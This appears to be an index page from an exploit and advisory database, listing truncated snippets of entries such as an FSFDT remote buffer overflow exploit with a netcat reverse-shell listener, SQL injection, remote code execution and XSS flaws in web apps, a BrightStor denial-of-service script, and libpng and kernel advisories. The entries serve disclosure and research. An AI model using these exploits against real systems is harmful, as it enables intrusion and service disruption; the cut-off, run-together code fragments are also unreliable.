IceBB 1.0-rc6 - Remote Database Authentication Details

./includes/functions.php, line 73 $ip = empty$SERVER'HTTPXFORWARDEDFOR' ? $SERVER'REMOTEADDR' : $SERVER'HTTPXFORWARDEDFOR'; $ip = $this-cleankey$ip; $input'ICEBBUSERIP' = $ip; ./icebb.php, line 169 $icebb-clientip = $input'ICEBBUSERIP'; ./admin/index.php, line 112 $icebb-adsess =...

fsfdt-overflow.txt

$ nc -l -p 4321 Microsoft Windows 2000 Version 5.00.2195 C Copyright 1985-2000 Microsoft Corp. E:\draft\fsd1110\windows ------------------------------------------- !/usr/bin/perl FSFDT remote exploit by weakatfraglab.at spawns reverse shell to 10.0.0.100:4321 tested against 'FSFDT Windows FSD Bet...

FSFDT v3.000 d9 (HELP) Remote Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ===================================================== FSFDT v3.000 d9 HELP Remote Buffer Overflow Exploit ===================================================== $ nc -l -p 4321 Microsoft Windows 2000 Version 5.00.2195 C Copyright 1985-2000...

aspcatalog-sql.txt

ASP Product catalog SQL injection vulnerability. A nice little SQL injection vulnerability exists within ASP Product Catalog. The application fails to check for bad input from GET'd variables used in SQL query operations. In this case, the variable cid can be used for SQL injection queries...

Moderate: aide security update

0.13.1-2.0.4 - Added the correct new config file Related: rhbz252331 0.13.1-2.0.3 - Fixed file permissions to please release criteria Related: rhbz252331 0.13.1-2.0.2 - Removed saved copies of patched scripts Related: rhbz252331 0.13.1-2 - Fixed a typo Related: rhbz252331 0.13.1-1 - Rebased to...

libpng: Denial of service

Background libpng is a free ANSI C library used to process and manipulate PNG images. Description Mats Palmgren fixed an error in file pngrutil.c in which the trans array might be not allocated because of images with a bad tRNS chunk CRC value. Impact A remote attacker could craft an image that...

Fundanemt 2.2.0 - spellcheck.php Remote Code Execution

Fundanemt 2.2.0 - spellcheck.php Remote Code Execution 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i...

CA BrightStor Backup 11.5.2.0 - Mediasvr.exe Denial of Service

CA BrightStor Backup 11.5.2.0 - Mediasvr.exe Denial of Service !/usr/bin/python Computer Associates CA Brightstor Backup Mediasvr.exe DoS catirpc.dll/rwxdr.dll Previously Unknown There is an issue with RPC operation 126 and the imported cactirpc.dll and rwxdr.dll. It looks as if Mediasvr.exe...

cabright2-dos.txt

!/usr/bin/python Computer Associates CA Brightstor Backup Mediasvr.exe DoS catirpc.dll/rwxdr.dll Previously Unknown There is an issue with RPC operation 126 and the imported cactirpc.dll and rwxdr.dll. It looks as if Mediasvr.exe identifies a Bad Job Handle as seen in its log file. Log Message:...

CA BrightStor Backup 11.5.2.0 - 'Mediasvr.exe' Denial of Service

!/usr/bin/python Computer Associates CA Brightstor Backup Mediasvr.exe DoS catirpc.dll/rwxdr.dll Previously Unknown There is an issue with RPC operation 126 and the imported cactirpc.dll and rwxdr.dll. It looks as if Mediasvr.exe identifies a Bad Job Handle as seen in its log file. Log Message:...

png -- DoS crash vulnerability

A Libpng Security Advisory reports: A grayscale PNG image with a malformed bad CRC tRNS chunk will crash some libpng applications. This vulnerability could be used to crash a browser when a user tries to view such a malformed PNG file. It is not known whether the vulnerability could be exploited...

Mozzers SubSystem final (subs.php) Remote Code Execution Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + + + Y! Underground Group + + + -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-...

Mozzers SubSystem final (subs.php) Remote Code Execution Vulnerability

Exploit for unknown platform in category web applications ====================================================================== Mozzers SubSystem final subs.php Remote Code Execution Vulnerability ======================================================================...

HIOX GUEST BOOK (HGB) 4.0 Remote Code Execution Vulnerability

No description provided by source. +========================I=R=A=N============================+ HGB Version 4.0 =========================I=R=A=N============================= +========================I=R=A=N============================+ Author : Dj7xpl / Dj7xplatYahoodotcom...

HIOX GUEST BOOK (HGB) 4.0 Remote Code Execution Vulnerability

Exploit for unknown platform in category web applications ============================================================= HIOX GUEST BOOK HGB 4.0 Remote Code Execution Vulnerability =============================================================...

HIOX GUEST BOOK (HGB) 4.0 - Remote Code Execution

HIOX GUEST BOOK HGB 4.0 - Remote Code Execution +========================I=R=A=N============================+ HGB Version 4.0 =========================I=R=A=N============================= +========================I=R=A=N============================+ Author : Dj7xpl / Dj7xplatYahoodotcom...

Alternative crack with Super king address plus the key of the VCD-vulnerability warning-the black bar safety net

This VCD disc are not in the computer CD drive, through Device Manager into the IT can not display any files. Even if can see only one side of the can. Below I will introduce a VCD encryption technology and crack method. Artificial disc bad sectors is the latest and most commonly used encryption...

BtitTracker 1.4 XSS

BtitTracker 1.4 xss Some fields are not sanitized for bad chars or words like javascript. =email field= When new user is registered you can put whatever you want and after that when still in mode "validating" you can change your email to something like "plaintext the field is 30 chars long so it ...

CVE-2006-5753

Unspecified vulnerability in the listxattr system call in Linux kernel, when a "bad inode" is present, allows local users to cause a denial of service data corruption and possibly gain privileges via unknown vectors...

kernel listxattr syscall can corrupt user space programs

Unspecified vulnerability in the listxattr system call in Linux kernel, when a "bad inode" is present, allows local users to cause a denial of service data corruption and possibly gain privileges via unknown vectors...